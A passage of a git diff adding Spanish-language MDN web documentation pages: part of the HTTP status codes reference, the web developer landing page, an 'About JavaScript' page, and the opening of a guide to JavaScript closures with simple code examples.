+ <dd>Esta solicitud tiene más de una posible respuesta. User-Agent o el usuario debe escoger uno de ellos. No hay forma estandarizada de seleccionar una de las respuestas.</dd>
+ <dt>{{HTTPStatus(301, "301 Moved Permanently")}}</dt>
+ <dd>Este código de respuesta significa que la URI  del recurso solicitado ha sido cambiado. Probablemente una nueva URI sea devuelta en la respuesta.</dd>
+ <dt>{{HTTPStatus(302, "302 Found")}}</dt>
+ <dd>Este código de respuesta significa que el recurso de la URI solicitada ha sido cambiado temporalmente. Nuevos cambios en la URI serán agregados en el futuro. Por lo tanto, la misma URI debe ser usada por el cliente en futuras solicitudes.</dd>
+ <dd></dd>
+ <dt>{{HTTPStatus(303, "303 See Other")}}</dt>
+ <dd>El servidor envía esta respuesta para dirigir al cliente a un nuevo recurso solicitado a otra dirección usando una petición GET.</dd>
+ <dt>{{HTTPStatus(304, "304 Not Modified")}}</dt>
+ <dd>Esta es usada para propósitos de "caché". Le indica al cliente que la respuesta no ha sido modificada. Entonces, el cliente puede continuar usando la misma versión almacenada en su caché.</dd>
+ <dt><code>305 Use Proxy</code> {{deprecated_inline}}</dt>
+ <dd>Fue definida en una versión previa de la especificación del protocolo HTTP para indicar que una respuesta solicitada debe ser accedida desde un proxy. Ha quedado obsoleta debido a preocupaciones de seguridad correspondientes a la configuración de un proxy.</dd>
+ <dt><code>306 unused</code></dt>
+ <dt></dt>
+ <dd>Este código de respuesta ya no es usado más. Actualmente se encuentra reservado. Fue usado en previas versiones de la especificación HTTP1.1.</dd>
+ <dt>{{HTTPStatus(307, "307 Temporary Redirect")}}</dt>
+ <dd>El servidor envía esta respuesta para dirigir al cliente a obtener el recurso solicitado a otra URI con el mismo método que se usó la petición anterior. Tiene la misma semántica que el código de respuesta HTTP <code>302 Found</code>, con la excepción de que el agente usuario <em>no debe</em> cambiar el método HTTP usado: si un <code>POST</code> fue usado en la primera petición, otro <code>POST</code> debe ser usado en la segunda petición.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPStatus(308, "308 Permanent Redirect")}}</dt>
+ <dd>Significa que el recurso ahora se encuentra permanentemente en otra URI, especificada por la respuesta de encabezado HTTP <code>Location:</code>. Tiene la misma semántica que el código de respuesta HTTP <code>301 Moved Permanently</code>, con la excepción de que el agente usuario <em>no debe</em> cambiar el método HTTP usado: si un <code>POST</code> fue usado en la primera petición, otro <code>POST</code> debe ser usado en la segunda petición.</dd>
+</dl>
+
+<h2 id="Errores_de_cliente">Errores de cliente</h2>
+
+<dl>
+ <dt>{{HTTPStatus(400, "400 Bad Request")}}</dt>
+ <dd>Esta respuesta significa que el servidor no pudo interpretar la solicitud dada una sintaxis inválida.</dd>
+ <dt>{{HTTPStatus(401, "401 Unauthorized")}}</dt>
+ <dd>Es necesario autenticar para obtener la respuesta solicitada. Esta es similar a 403, pero en este caso, la autenticación es posible.</dd>
+ <dt><code>402 Payment Required</code></dt>
+ <dd>Este código de respuesta está reservado para futuros usos. El objetivo inicial de crear este código fue para ser utilizado en sistemas digitales de pagos. Sin embargo, no está siendo usado actualmente.</dd>
+ <dt>{{HTTPStatus(403, "403 Forbidden")}}</dt>
+ <dd>El cliente no posee los permisos necesarios para cierto contenido, por lo que el servidor está rechazando otorgar una respuesta apropiada.</dd>
+ <dt>{{HTTPStatus(404, "404 Not Found")}}</dt>
+ <dd>El servidor no pudo encontrar el contenido solicitado. Este código de respuesta es uno de los más famosos dada su alta ocurrencia en la web.</dd>
+ <dt>{{HTTPStatus(405, "405 Method Not Allowed")}}</dt>
+ <dd>El método solicitado es conocido por el servidor pero ha sido deshabilitado y no puede ser utilizado. Los dos métodos obligatorios, <code>GET</code> y <code>HEAD</code>, nunca deben ser deshabilitados y no deberían retornar este código de error.</dd>
+ <dt>{{HTTPStatus(406, "406 Not Acceptable")}}</dt>
+ <dd>Esta respuesta es enviada cuando el servidor, después de aplicar una <a href="/en-US/docs/HTTP/Content_negotiation#Server-driven_negotiation">negociación de contenido servidor-impulsado</a>, no encuentra ningún contenido seguido por la criteria dada por el usuario.</dd>
+ <dt>{{HTTPStatus(407, "407 Proxy Authentication Required")}}</dt>
+ <dd>Esto es similar al código 401, pero la autenticación debe estar hecha a partir de un proxy.</dd>
+ <dt>{{HTTPStatus(408, "408 Request Timeout")}}</dt>
+ <dd>Esta respuesta es enviada en una conexión inactiva en algunos servidores, incluso sin alguna petición previa por el cliente. Significa que el servidor quiere desconectar esta conexión sin usar. Esta respuesta es muy usada desde algunos navegadores, como Chrome, Firefox 27+, o IE9, usa mecanismos de pre-conexión HTTP para acelerar la navegación. También hay que tener en cuenta que algunos servidores simplemente desconecta la conexión sin enviar este mensaje.</dd>
+ <dt>{{HTTPStatus(409, "409 Conflict")}}</dt>
+ <dd>Esta respuesta puede ser enviada cuando una petición tiene conflicto con el estado actual del servidor.</dd>
+ <dt>{{HTTPStatus(410, "410 Gone")}}</dt>
+ <dd>Esta respuesta puede ser enviada cuando el contenido solicitado ha sido borrado del servidor.</dd>
+ <dt>{{HTTPStatus(411, "411 Length Required")}}</dt>
+ <dd>El servidor rechaza la petición porque el campo de encabezado <code>Content-Length</code> no esta definido y el servidor lo requiere.</dd>
+ <dt>{{HTTPStatus(412, "412 Precondition Failed")}}</dt>
+ <dd>El cliente ha indicado pre-condiciones en sus encabezados la cual el servidor no cumple.</dd>
+ <dt>{{HTTPStatus(413, "413 Payload Too Large")}}</dt>
+ <dd>La entidad de petición es más larga que los límites definidos por el servidor; el servidor puede cerrar la conexión o retornar un campo de encabezado <code>Retry-After</code>.</dd>
+ <dt>{{HTTPStatus(414, "414 URI Too Long")}}</dt>
+ <dd>La URI solicitada por el cliente es más larga de lo que el servidor está dispuesto a interpretar.</dd>
+ <dt>{{HTTPStatus(415, "415 Unsupported Media Type")}}</dt>
+ <dd>El formato multimedia de los datos solicitados no está soportado por el servidor, por lo cual el servidor rechaza la solicitud.</dd>
+ <dt>{{HTTPStatus(416, "416 Requested Range Not Satisfiable")}}</dt>
+ <dd>El rango especificado por el campo de encabezado <code>Range</code> en la solicitud no cumple; es posible que el rango está fuera del tamaño de los datos objetivo del URI.</dd>
+ <dt>{{HTTPStatus(417, "417 Expectation Failed")}}</dt>
+ <dd>Significa que la expectativa indicada por el campo de encabezado <code>Expect</code> solicitada no puede ser cumplida por el servidor.</dd>
+ <dt>{{HTTPStatus(418, "418 I'm a teapot")}}</dt>
+ <dd>El servidor se rehúsa a intentar hacer café con una tetera.</dd>
+ <dt>{{HTTPStatus(421, "421 Misdirected Request")}}</dt>
+ <dd>La petición fue dirigida a un servidor que no es capaz de producir una respuesta. Esto puede ser enviado por un servidor que no está configurado para producir respuestas por la combinación del esquema y la autoridad que están incluidos en la URI solicitada</dd>
+ <dt>{{HTTPStatus(422, "422 Unprocessable Entity")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>La petición estaba bien formada pero no se pudo seguir debido a errores de semántica.</dd>
+ <dt>{{HTTPStatus(423, "423 Locked")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>El recurso que está siendo accedido está bloqueado.</dd>
+ <dt>{{HTTPStatus(424, "424 Failed Dependency")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>La petición falló debido a una falla de una petición previa.</dd>
+ <dt>{{HTTPStatus(426, "426 Upgrade Required")}}</dt>
+ <dd>El servidor se rehúsa a aplicar la solicitud usando el protocolo actual pero puede estar dispuesto a hacerlo después que el cliente se actualice a un protocolo diferente. El servidor envía un encabezado <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Upgrade</span></font> en una respuesta para indicar los protocolos requeridos.</dd>
+ <dt>{{HTTPStatus(428, "428 Precondition Required")}}</dt>
+ <dd>El servidor origen requiere que la solicitud sea condicional. Tiene la intención de prevenir problemas de 'actualización perdida', donde un cliente OBTIENE un estado del recurso, lo modifica, y lo PONE devuelta al servidor, cuando mientras un tercero ha modificado el estado del servidor, llevando a un conflicto.</dd>
+ <dt>{{HTTPStatus(429, "429 Too Many Requests")}}</dt>
+ <dd>El usuario ha enviado demasiadas solicitudes en un periodo de tiempo dado.</dd>
+ <dt>{{HTTPStatus(431, "431 Request Header Fields Too Large")}}</dt>
+ <dd>El servidor no está dispuesto a procesar la solicitud porque los campos de encabezado son demasiado largos. La solicitud PUEDE volver a subirse después de reducir el tamaño de los campos de encabezado solicitados.</dd>
+ <dt>{{HTTPStatus(451, "451 Unavailable For Legal Reasons")}}</dt>
+ <dd>El usuario solicita un recurso ilegal, como alguna página web censurada por algún gobierno.</dd>
+</dl>
+
+<h2 id="Errores_de_servidor">Errores de servidor</h2>
+
+<dl>
+ <dt>{{HTTPStatus(500, "500 Internal Server Error")}}</dt>
+ <dd>El servidor ha encontrado una situación que no sabe cómo manejarla.</dd>
+ <dt>{{HTTPStatus(501, "501 Not Implemented")}}</dt>
+ <dd>El método solicitado no está soportado por el servidor y no puede ser manejado. Los únicos métodos que los servidores requieren soporte (y por lo tanto no deben retornar este código) son <code>GET</code> y <code>HEAD</code>.</dd>
+ <dt>{{HTTPStatus(502, "502 Bad Gateway")}}</dt>
+ <dd>Esta respuesta de error significa que el servidor, mientras trabaja como una puerta de enlace para obtener una respuesta necesaria para manejar la petición, obtuvo una respuesta inválida.</dd>
+ <dt>{{HTTPStatus(503, "503 Service Unavailable")}}</dt>
+ <dd>El servidor no está listo para manejar la petición. Causas comunes puede ser que el servidor está caído por mantenimiento o está sobrecargado. Hay que tomar en cuenta que junto con esta respuesta, una página usuario-amigable explicando el problema debe ser enviada. Estas respuestas deben ser usadas para condiciones temporales y el encabezado HTTP <code>Retry-After:</code> debería, si es posible, contener el tiempo estimado antes de la recuperación del servicio. El webmaster debe también cuidar los encabezados relacionados al caché que son enviados junto a esta respuesta, ya que estas respuestas de condición temporal deben usualmente no estar en el caché.</dd>
+ <dt>{{HTTPStatus(504, "504 Gateway Timeout")}}</dt>
+ <dd>Esta respuesta de error es dada cuando el servidor está actuando como una puerta de enlace y no puede obtener una respuesta a tiempo.</dd>
+ <dt>{{HTTPStatus(505, "505 HTTP Version Not Supported")}}</dt>
+ <dd>La versión de HTTP usada en la petición no está soportada por el servidor.</dd>
+ <dt>{{HTTPStatus(506, "506 Variant Also Negotiates")}}</dt>
+ <dd>El servidor tiene un error de configuración interna: negociación de contenido transparente para la petición resulta en una referencia circular.</dd>
+ <dt>{{HTTPStatus(507, "507 Insufficient Storage")}}</dt>
+ <dd>El servidor tiene un error de configuración interna: la variable de recurso escogida está configurada para acoplar la negociación de contenido transparente misma, y no es por lo tanto un punto final adecuado para el proceso de negociación.</dd>
+ <dt>{{HTTPStatus(508, "508 Loop Detected")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>El servidor detectó un ciclo infinito mientras procesaba la solicitud.</dd>
+ <dt>{{HTTPStatus(510, "510 Not Extended")}}</dt>
+ <dd>Extensiones adicionales para la solicitud son requeridas para que el servidor las cumpla.</dd>
+ <dt>{{HTTPStatus(511, "511 Network Authentication Required")}}</dt>
+ <dd>El código de estado 511 indica que el cliente necesita autenticar para ganar acceso a la red.</dd>
+</dl>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/Anexo:C%C3%B3digos_de_estado_HTTP">Anexo:Códigos de estado HTTP</a></li>
+ <li><a href="http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml">IANA official registry of HTTP status codes</a></li>
+ <li><a href="https://www.lucushost.com/blog/codigos-http-mas-comunes/">Códigos HTTP: Una guía con los códigos de estado más comunes</a></li>
+</ul>
diff --git a/files/es/web/index.html b/files/es/web/index.html
new file mode 100644
index 0000000000..4570c0cdde
--- /dev/null
+++ b/files/es/web/index.html
@@ -0,0 +1,60 @@
+---
+title: Tecnología para desarrolladores web
+slug: Web
+tags:
+  - API
+  - Desarrollo web
+  - Landing
+  - Lanzamiento
+  - Web
+translation_of: Web
+---
+<blockquote>
+<h2 id="La_Web_abierta_presenta_increíbles_oportunidades_para_los_desarrolladores._Para_aprovechar_al_máximo_estas_tecnologías_debes_saber_cómo_utilizarlas._A_continuación_encontrarás_enlaces_a_nuestra_documentación_de_tecnología_web.">La Web abierta presenta increíbles oportunidades para los desarrolladores. Para aprovechar al máximo estas tecnologías, debes saber cómo utilizarlas. A continuación, encontrarás enlaces a nuestra documentación de tecnología web.</h2>
+</blockquote>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Docs_for_add-on_developers" name="Docs_for_add-on_developers">Documentación para desarrolladores web</h2>
+
+<dl>
+ <dt><a href="/es/docs/Web/Reference">Referencia para desarrolladores web</a></dt>
+ <dd>Una lista de todas las referencias para tecnologías web, incluidas las de HTML, CSS, etc.</dd>
+ <dt><a href="/es/docs/Web/Guide">Guía para desarrolladores web</a></dt>
+ <dd>La Guía para desarrolladores web ofrece contenido práctico útil que te ayudará a utilizar las tecnologías web para hacer lo que quieres o necesitas hacer.</dd>
+ <dt><a href="/es/docs/Web/Tutorials">Tutoriales para desarrolladores web</a></dt>
+ <dd>Una lista de tutoriales que te guiarán paso a paso a través del aprendizaje de las APIs, tecnologías o amplias áreas temáticas.</dd>
+ <dt><a href="/es/docs/Web/Apps">Desarrollar aplicaciones web</a></dt>
+ <dd>Documentación para desarrolladores de aplicaciones web; Las aplicaciones web son verdaderas aplicaciones de una sola escritura y se implementan en cualquier lugar para dispositivos móviles, de escritorio y Firefox OS.</dd>
+ <dt><a href="/es/docs/Code_snippets">Fragmentos de código</a></dt>
+ <dd>Esta es una lista rápida de fragmentos de código útiles (pequeñas muestras de código) disponibles para los desarrolladores de extensiones para las diversas aplicaciones de Mozilla. Muchos de estos ejemplos también se pueden utilizar en aplicaciones <a href="/es/docs/XULRunner">XULRunner</a>, así como en el propio código de Mozilla.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/es/docs/tag/Web">Ver todo...</a></span></p>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="Docs_for_add-on_developers" name="Docs_for_add-on_developers">Referencias de tecnología web</h2>
+
+<dl>
+ <dt><a href="/es/docs/Web/Reference/API">APIs web</a></dt>
+ <dd>Material de referencia para cada una de las APIs individuales que comprenden la poderosa capacidad de secuencia de comandos de la Web, incluido el DOM y todas las APIs e interfaces relacionadas que puedes utilizar para crear contenido y aplicaciones Web.</dd>
+ <dt><a href="/es/docs/Web/HTML">HTML</a></dt>
+ <dd>El lenguaje de marcado de hipertexto es el lenguaje utilizado para describir y definir el contenido de una página web.</dd>
+ <dt><a href="/es/docs/Web/CSS">CSS</a></dt>
+ <dd>Las hojas de estilo en cascada (<em>Cascading Style Sheets</em>) se utilizan para describir la apariencia del contenido web.</dd>
+ <dt><a href="/es/docs/SVG">SVG</a></dt>
+ <dd>Los gráficos vectoriales escalables (<em>Scalable Vector Graphics</em>) te permiten describir imágenes como conjuntos de vectores y formas para permitirles escalar sin problemas, independientemente del tamaño en el que se dibujen.</dd>
+ <dt><a href="/es/docs/Web/MathML">MathML</a></dt>
+ <dd>El lenguaje de marcado matemático permite mostrar sintaxis y ecuaciones matemáticas complejas.</dd>
+</dl>
+</div>
+</div>
+
+<dl>
+ <dt>Temporal</dt>
+</dl>
+
+<p>Lo siguiente aquí es temporal para ayudarte a realizar un seguimiento de las cosas mientras el trabajo de la organización está en curso. No le hagas caso.</p>
+
+<div>{{ListSubpages}}</div>
diff --git a/files/es/web/javascript/acerca_de_javascript/index.html b/files/es/web/javascript/acerca_de_javascript/index.html
new file mode 100644
index 0000000000..a66f16e061
--- /dev/null
+++ b/files/es/web/javascript/acerca_de_javascript/index.html
@@ -0,0 +1,59 @@
+---
+title: Acerca de JavaScript
+slug: Web/JavaScript/Acerca_de_JavaScript
+tags:
+  - JavaScript
+translation_of: Web/JavaScript/About_JavaScript
+---
+<div>{{JsSidebar}}</div>
+
+<h2 id="¿Qué_es_JavaScript">¿Qué es JavaScript?</h2>
+
+<p><strong>JavaScript</strong><sup>®</sup> (a menudo abreviado como <strong>JS</strong>) es un lenguaje ligero, interpretado y orientado a objetos con <a href="https://en.wikipedia.org/wiki/First-class_function" title="https://en.wikipedia.org/wiki/First-class_function">funciones de primera clase</a>, y mejor conocido como el lenguaje de programación para las páginas Web, pero {{Interwiki("wikipedia", "JavaScript#Otras_características", "también se utiliza en muchos entornos que no son de navegador")}}. Es un lenguaje de scripts que es dinámico, multiparadigma, {{Interwiki("wikipedia", "Programación_basada_en_prototipos", "basado en prototipos")}} y admite estilos de programación orientados a objetos, imperativos y funcionales.</p>
+
+<p>JavaScript se ejecuta en el lado del cliente de la web, y se puede utilizar para estilizar/programar cómo se comportan las páginas web cuando ocurre un evento. JavaScript es un potente lenguaje de scripts y fácil de aprender, ampliamente utilizado para controlar el comportamiento de las páginas web.</p>
+
+<p>Contrariamente a la creencia popular, <strong>JavaScript <em>no</em> es "Java interpretado"</strong>. En pocas palabras, JavaScript es un lenguaje de scripts dinámico que admite {{JSxRef("../Guide/Details_of_the_Object_Model", "construcción de objetos basada en prototipos", "#Lenguajes_basados_en_clases_vs._basados_en_prototipos")}}. Intencionalmente, la sintaxis básica es similar a Java y C++ para reducir la cantidad de conceptos nuevos necesarios para aprender el lenguaje. Construcciones del lenguaje, como las declaraciones <code>if</code>, los bucles <code>for</code> y <code>while</code>, y <code>switch</code> y los bloques <code>try...catch</code> funcionan igual que en esos lenguajes (o casi).</p>
+
+<p>JavaScript puede funcionar como un {{JSxRef("../Introduction_to_Object-Oriented_JavaScript", "lenguaje orientado a objetos")}} y {{Interwiki("wikipedia", "Programación_por_procedimientos", "procedimental")}}. Los objetos se crean mediante programación en JavaScript, adjuntando métodos y propiedades a objetos que de otro modo <strong>en tiempo de ejecución</strong> estarían vacíos, a diferencia de las definiciones de clases sintácticas comunes en lenguajes compilados como C++ y Java. Una vez que se ha construido un objeto, se puede utilizar como plano (o prototipo) para crear objetos similares.</p>
+
+<p>Las capacidades dinámicas de JavaScript incluyen la construcción de objetos en tiempo de ejecución, listas de parámetros variables, variables de función, creación dinámica de scripts (a través de {{JSxRef("Objetos_globales/eval", "eval")}}, introspección de objetos (a través de <code>for...in</code>) y recuperación de código fuente (los programas JavaScript pueden descompilar los cuerpos de las funciones en su texto fuente).</p>
+
+<p>Para una explicación más profunda de la programación de JavaScript, sigue los enlaces {{anch("Recursos_de_JavaScript", "recursos de JavaScript")}} a continuación.</p>
+
+<h2 id="¿Qué_implementaciones_de_JavaScript_están_disponibles">¿Qué implementaciones de JavaScript están disponibles?</h2>
+
+<p>El proyecto Mozilla proporciona dos implementaciones de JavaScript. El primer JavaScript <strong>fue creado</strong> por Brendan Eich en Netscape, y a partir de entonces se ha actualizado para cumplir con ECMA-262 Edición 5 y versiones posteriores. Este motor, cuyo nombre en código es {{web.link("/es/docs/Mozilla/Projects/SpiderMonkey", "SpiderMonkey")}}, está implementado en C/C++. El motor {{web.link("/es/docs/Rhino", "Rhino")}}, creado principalmente por Norris Boyd (también en Netscape) es una implementación de JavaScript escrita en Java. Al igual que SpiderMonkey, Rhino también es compatible con ECMA-262 Edition 5.</p>
+
+<p>Con el transcurso del tiempo, y tras varias importantes optimizaciones del entorno de ejecución como TraceMonkey (Firefox 3.5), JägerMonkey (Firefox 4) e IonMonkey se agregaron al motor de JavaScript SpiderMonkey. El trabajo siempre está en curso para mejorar el rendimiento de ejecución de JavaScript.</p>
+
+<p>Más allá de las implementaciones anteriores, existen otros motores JavaScript populares como:—</p>
+
+<ul>
+ <li><a class="external" href="https://code.google.com/p/v8/" title="https://code.google.com/p/v8/">V8</a> de Google , que se utiliza en el navegador Google Chrome y las versiones recientes del navegador Opera. Este también es el motor que utiliza <a href="http://nodejs.org">Node.js</a>.</li>
+ <li><a class="external" href="https://www.webkit.org/projects/javascript/index.html" title="https://www.webkit.org/projects/javascript/index.html">JavaScriptCore</a> (SquirrelFish/Nitro) utilizado en algunos navegadores WebKit como Apple Safari.</li>
+ <li><a class="external" href="http://my.opera.com/ODIN/blog/carakan-faq" title="http://my.opera.com/ODIN/blog/carakan-faq">Carakan</a> en versiones antiguas de Opera.</li>
+ <li><a class="external" href="http://en.wikipedia.org/wiki/Chakra_%28JScript_engine%29" title="http://en.wikipedia.org/wiki/Chakra_%28JScript_engine%29">Motor Chakra</a> utilizado en Internet Explorer (aunque el lenguaje que implementa formalmente se llama "JScript" para evitar problemas de marcas registradas).</li>
+</ul>
+
+<p>Cada uno de los motores de JavaScript de Mozilla expone una API pública que los desarrolladores de aplicaciones pueden utilizar para integrar JavaScript en su software. Hasta ahora, el entorno de alojamiento más común para JavaScript son los navegadores web. Los navegadores web suelen utilizar la API pública para crear <strong>objetos del anfitrión</strong> responsables de reflejar el <a class="external" href="http://www.w3.org/DOM/">DOM</a> en JavaScript.</p>
+
+<p>Otra aplicación común para JavaScript es como lenguaje de programación de lado del servidor (Web). Un servidor web JavaScript expondría objetos del anfitrión que representan una solicitud HTTP y objetos de respuesta, que luego podría manipular un programa JavaScript para generar páginas web dinámicamente. <a href="http://nodejs.org">Node.js</a> es un ejemplo popular de esto.</p>
+
+<h2 id="Recursos_de_JavaScript">Recursos de JavaScript</h2>
+
+<dl>
+ <dt>{{web.link("/es/docs/Mozilla/Projects/SpiderMonkey", "SpiderMonkey")}}</dt>
+ <dd>Información específica sobre la implementación de JavaScript de Mozilla en el motor C/C++ (también conocido como SpiderMonkey), incluye cómo integrarlo en aplicaciones.</dd>
+</dl>
+
+<dl>
+ <dt>{{web.link("/es/docs/Rhino", "Rhino")}}</dt>
+ <dd>Información específica para la implementación de JavaScript escrita en Java (también conocido como Rhino).</dd>
+ <dt>{{JSxRef("../Language_Resources", "Recursos del lenguaje")}}</dt>
+ <dd>Punteros a estándares JavaScript publicados.</dd>
+ <dt>{{JSxRef("../A_re-introduction_to_JavaScript", "Una reintroducción a JavaScript")}}</dt>
+ <dd>{{JSxRef("../Guide", "Guía de JavaScript")}} y {{JSxRef("../Referencia", "Referencia de JavaScript")}}.</dd>
+</dl>
+
+<p><strong>JavaScript<sup>®</sup></strong> es una marca comercial o una marca comercial registrada de Oracle en EE. UU. y otros países.</p>
diff --git a/files/es/web/javascript/closures/index.html b/files/es/web/javascript/closures/index.html
new file mode 100644
index 0000000000..f6575e0fde
--- /dev/null
+++ b/files/es/web/javascript/closures/index.html
@@ -0,0 +1,320 @@
+---
+title: Closures
+slug: Web/JavaScript/Closures
+tags:
+  - Closures
+  - Guia(2)
+  - Guía
+  - JavaScript
+translation_of: Web/JavaScript/Closures
+---
+<div>{{jsSidebar("Intermediate")}}</div>
+
+<p>Una clausura o <em>closure</em> es una función que guarda referencias del estado adyacente (<strong>ámbito léxico</strong>). En otras palabras, una clausura permite acceder al ámbito de una función exterior desde una función interior. En JavaScript, las clausuras se crean cada vez que una función es creada.</p>
+
+<h2 id="Ámbito_léxico">Ámbito léxico</h2>
+
+<p>Consideremos el siguiente ejemplo:</p>
+
+<div style="width: auto; overflow: hidden;">
+<pre class="brush: js">function iniciar() {
+  var nombre = "Mozilla";  // La variable nombre es una variable local creada por iniciar.
+  function mostrarNombre() {  // La función mostrarNombre es una función interna, una clausura.
+    alert(nombre);  // Usa una variable declarada en la función externa.
+  }
+  mostrarNombre();
+}
+iniciar();  </pre>
+</div>
+
+<p>La función <code>iniciar()</code>  crea una variable local llamada <code>nombre</code> y una función interna llamada <code>mostrarNombre()</code>. Por ser una función interna, esta última solo está disponible dentro del cuerpo de <code>iniciar()</code>. Notemos a su vez que <code>mostrarNombre()</code> no tiene ninguna variable propia; pero, dado que las funciones internas tienen acceso a las variables de las funciones externas, <code>mostrarNombre()</code> puede acceder a la variable <code>nombre</code> declarada en la función <code>iniciar()</code>.</p>
+
+<p>Ejecuta el código usando <a href="http://jsfiddle.net/xAFs9/3/">este enlace de JSFiddle</a> y observa que la sentencia <code>alert()</code>, dentro de <code>mostrarNombre()</code>, muestra con éxito el valor de la variable <code>nombre</code>, la cual fue declarada en la función externa. Este es un ejemplo de <em>ámbito léxico</em>, el cual describe cómo un analizador sintáctico resuelve los nombres de las variables cuando hay funciones anidadas. La palabra <em>léxico</em> hace referencia al hecho de que el ámbito léxico se basa en el lugar donde una variable fue declarada para determinar dónde esta variable estará disponible. Las funciones anidadas tienen acceso a las variables declaradas en su ámbito exterior.</p>
+
+<h2 id="Clausuras">Clausuras</h2>
+
+<p>Considera el siguiente ejemplo:</p>
+
+<pre class="brush: js">function creaFunc() {
+  var nombre = "Mozilla";
+  function muestraNombre() {
+    alert(nombre);
+  }
+  return muestraNombre;
+}
+
+var miFunc = creaFunc();
+miFunc(); </pre>
+
+<p>Si se ejecuta este código tendrá exactamente el mismo efecto que el ejemplo anterior: se mostrará el texto "Mozilla" en un cuadro de alerta de Javascript. Lo que lo hace diferente (e interesante) es que la función externa nos ha devuelto la función interna <code>muestraNombre</code><code>() </code>antes de ejecutarla.</p>
+
+<p>Puede parecer poco intuitivo que este código funcione. Normalmente, las variables locales dentro de una función sólo existen mientras dura la ejecución de dicha función. Una vez que <code>creaFunc()</code> haya terminado de ejecutarse, es razonable suponer que no se pueda ya acceder a la variable <code>nombre</code>. Dado que el código funciona como se esperaba, esto obviamente no es el caso.</p>
+
+<p>La solución a este rompecabezas es que <code>miFunc</code> se ha convertido en un <em>closure</em>. Un <em>closure</em> es un tipo especial de objeto que combina dos cosas: una función, y el entorno en que se creó esa función. El entorno está formado por las variables locales que estaban dentro del alcance en el momento que se creó el closure. En este caso, <code>miFunc</code> es un closure que incorpora tanto la función <code>muestraNombre</code> como el string "Mozilla" que existían cuando se creó el closure.</p>
+
+<p>Este es un ejemplo un poco más interesante: una función <code>creaSumador</code>:</p>
+
+<pre class="brush: js">function creaSumador(x) {
+  return function(y) {
+    return x + y;
+  };
+}
+
+var suma5 = creaSumador(5);
+var suma10 = creaSumador(10);
+
+console.log(suma5(2));  // muestra 7
+console.log(suma10(2)); // muestra 12 </pre>
+
+<p>En este ejemplo, hemos definido una función <code>creaSumador</code><code>(x)</code> que toma un argumento único <code>x</code> y devuelve una nueva función. Esa nueva función toma un único argumento <code>y</code>, devolviendo la suma de <code>x</code> + <code>y</code>.</p>
+
+<p>En esencia, <code>creaSumador</code><code> </code>es una fábrica de función: crea funciones que pueden sumar un valor específico a su argumento. En el ejemplo anterior utilizamos nuestra fábrica de función para crear dos nuevas funciones: una que agrega 5 a su argumento y otra que agrega 10.</p>
+
+<p><code>suma5</code> y <code>suma10</code> son ambos closures. Comparten la misma definición de cuerpo de función, pero almacenan diferentes entornos. En el entorno <code>suma5</code>, <code>x</code> es 5. En lo que respecta a <code>suma10</code>, <code>x</code> es 10.</p>
+
+<h2 id="Closures_prácticos">Closures prácticos</h2>
+
+<p>Hasta aquí hemos visto teoría, pero ¿son los closures realmente útiles? Vamos a considerar sus implicaciones prácticas. Un closure permite asociar algunos datos (el entorno) con una función que opera sobre esos datos. Esto tiene evidentes paralelismos con la programación orientada a objetos, en la que los objetos nos permiten asociar algunos datos (las propiedades del objeto) con uno o más métodos.</p>
+
+<p>En consecuencia, puede utilizar un closure en cualquier lugar en el que normalmente pondría un objeto con un solo método.</p>
+
+<p>En la web hay situaciones habituales en las que aplicarlos. Gran parte del código JavaScript para web está basado en eventos: definimos un comportamiento y lo conectamos a un evento que es activado por el usuario (como un click o pulsación de una tecla). Nuestro código generalmente se adjunta como una devolución de llamada (callback): que es una función que se ejecuta en respuesta al evento.</p>
+
+<p>Aquí está un ejemplo práctico: Supongamos que queremos añadir algunos botones a una página para ajustar el tamaño del texto. Una manera de hacer esto es especificar el tamaño de fuente del elemento <code>body</code> en píxeles y, a continuación, ajustar el tamaño de los demás elementos de la página (como los encabezados) utilizando la unidad relativa <code>em</code>:</p>
+
+<pre class="brush: css">body {
+  font-family: Helvetica, Arial, sans-serif;
+  font-size: 12px;
+}
+
+h1 {
+  font-size: 1.5em;
+}
+h2 {
+  font-size: 1.2em;
+} </pre>
+
+<p>Nuestros botones interactivos de tamaño de texto pueden cambiar la propiedad <code>font-size</code> del elemento <code>body</code>, y los ajustes serán aplicados por los otros elementos de la página gracias a las unidades relativas.</p>
+
+<p>Aquí está el código JavaScript:</p>
+
+<pre class="brush: js">function makeSizer(size) {
+  return function() {
+    document.body.style.fontSize = size + 'px';
+  };
+}
+
+var size12 = makeSizer(12);
+var size14 = makeSizer(14);
+var size16 = makeSizer(16);
+</pre>
+
+<p><code>size12</code>, <code>size14</code> y <code>size16</code> ahora son funciones que cambian el tamaño del texto de <code>body</code> a 12, 14 y 16 pixels, respectivamente. Podemos conectarlos a botones (en este caso enlaces) de la siguiente forma:</p>
+
+<pre class="brush: js">document.getElementById('size-12').onclick = size12;
+document.getElementById('size-14').onclick = size14;
+document.getElementById('size-16').onclick = size16;
+</pre>
+
+<pre class="brush: html">&lt;a href="#" id="size-12"&gt;12&lt;/a&gt;
+&lt;a href="#" id="size-14"&gt;14&lt;/a&gt;
+&lt;a href="#" id="size-16"&gt;16&lt;/a&gt;
+</pre>
+
+<h2 id="Emulando_métodos_privados_con_closures">Emulando métodos privados con closures</h2>
+
+<p>Lenguajes como Java ofrecen la posibilidad de declarar métodos privados, es decir, que sólo pueden ser llamados por otros métodos en la misma clase.</p>
+
+<p>JavaScript no proporciona una forma nativa de hacer esto, pero es posible emular métodos privados utilizando closures. Los métodos privados no son sólo útiles para restringir el acceso al código: también proporcionan una poderosa manera de administrar tu espacio de nombres global, evitando que los métodos no esenciales embrollen la interfaz pública de tu código.</p>
+
+<p>Aquí vemos cómo definir algunas funciones públicas que pueden acceder a variables y funciones privadas utilizando closures. A esto se le conoce también como el <a class="external" href="http://www.google.com/search?q=javascript+patron+modulo" title="javascript patron modulo">patrón módulo</a>:</p>
+
+<pre class="brush: js">var Counter = (function() {
